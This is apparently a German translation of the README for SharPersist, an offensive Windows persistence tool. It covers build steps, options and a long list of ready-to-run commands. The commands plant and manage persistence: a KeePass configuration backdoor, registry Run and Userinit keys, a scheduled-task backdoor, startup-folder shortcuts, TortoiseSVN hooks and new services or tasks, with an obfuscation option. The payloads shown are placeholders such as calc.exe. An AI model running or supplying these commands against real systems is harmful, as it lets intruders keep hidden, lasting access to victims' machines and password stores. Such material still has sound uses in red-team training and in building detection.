Schritte zum Kompilieren

• Laden Sie das Visual-Studio-Projekt und gehen Sie zu „Extras“ --> „NuGet-Paketmanager“ --> „Paketmanager-Einstellungen“
• Gehen Sie zu „NuGet-Paketmanager“ --> „Paketquellen“
• Fügen Sie eine Paketquelle mit der URL „https://api.nuget.org/v3/index.json“ hinzu
• Installieren Sie das NuGet-Paket Costura.Fody. Die ältere Version von Costura.Fody (3.3.3) wird benötigt, damit Sie Visual Studio 2019 nicht benötigen.
  • Install-Package Costura.Fody -Version 3.3.3
• Installieren Sie das TaskScheduler-Paket.
  • Install-Package TaskScheduler -Version 2.8.11
• Sie können das Projekt nun selbst erstellen!

Argumente/Optionen

• -t - Persistenztechnik
• -c - auszuführender Befehl
• -a - Argumente für den auszuführenden Befehl (falls zutreffend)
• -f - die zu erstellende/zu ändernde Datei
• -k - zu erstellender/zu ändernder Registrierungsschlüssel
• -v - zu erstellender/zu ändernder Registrierungswert
• -n - Name der geplanten Aufgabe oder des Dienstes
• -m - Methode (add, remove, check, list)
• -o - optionale Add-ons
• -h - Hilfeseite

Persistenstechniken (-t)

• keepass - Backdoor für die KeePass-Konfigurationsdatei
• reg - Hinzufügen/Ändern von Registrierungsschlüsseln
• schtaskbackdoor - Backdoor für geplante Aufgaben durch Hinzufügen einer zusätzlichen Aktion
• startupfolder - LNK-Datei im Autostart-Ordner
• tortoisesvn - TortoiseSVN-Hook-Skript
• service - neuen Windows-Dienst erstellen
• schtask - neue geplante Aufgabe erstellen

Methoden (-m)

• add - Persistenstechnik hinzufügen
• remove - Persistenstechnik entfernen
• check - Probelauf der Persistenstechnik durchführen
• list - aktuelle Einträge der Persistenstechnik auflisten

Optionale Add-Ons (-o)

• env - optionales Add-on zur Verschleierung von Umgebungsvariablen für die Registrierung
• hourly - optionales Add-on für die Häufigkeit von geplanten Aufgaben
• daily - optionales Add-on für die Häufigkeit von geplanten Aufgaben
• logon - optionales Add-on für die Häufigkeit von geplanten Aufgaben

Registrierungsschlüssel (-k)

• hklmrun
• hklmrunonce
• hklmrunonceex
• hkcurun
• hkcurunonce
• logonscript
• stickynotes
• userinit

Beispiele

Hinzufügen von Persistenz-Triggern (Add)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add

Registrierung

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

Backdoor für geplante Aufgaben

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

Autostart-Ordner

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add

Windows-Dienst

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

Geplante Aufgabe

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly

Entfernen von Persistenz-Triggern (Remove)

KeePass

SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove

Registrierung

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env

SharPersist -t reg -k "logonscript" -m remove

Backdoor für geplante Aufgaben

SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

Autostart-Ordner

SharPersist -t startupfolder -f "Some File" -m remove

Tortoise SVN

SharPersist -t tortoisesvn -m remove

Windows-Dienst

SharPersist -t service -n "Some Service" -m remove

Geplante Aufgabe

SharPersist -t schtask -n "Some Task" -m remove

Probelauf eines Persistenz-Triggers durchführen (Check)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check

Registrierung

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check

Backdoor für geplante Aufgaben

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check

Autostart-Ordner

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check

Windows-Dienst

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check

Geplante Aufgabe

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly

Auflisten der Persistenz-Trigger-Einträge (List)

Registrierung

SharPersist -t reg -k "hkcurun" -m list

Backdoor für geplante Aufgaben

SharPersist -t schtaskbackdoor -m list

SharPersist -t schtaskbackdoor -m list -n "Some Task"

SharPersist -t schtaskbackdoor -m list -o logon

Autostart-Ordner

SharPersist -t startupfolder -m list

Windows-Dienst

SharPersist -t service -m list

SharPersist -t service -m list -n "Some Service"

Geplante Aufgabe

SharPersist -t schtask -m list

SharPersist -t schtask -m list -n "Some Task"

SharPersist -t schtask -m list -o logon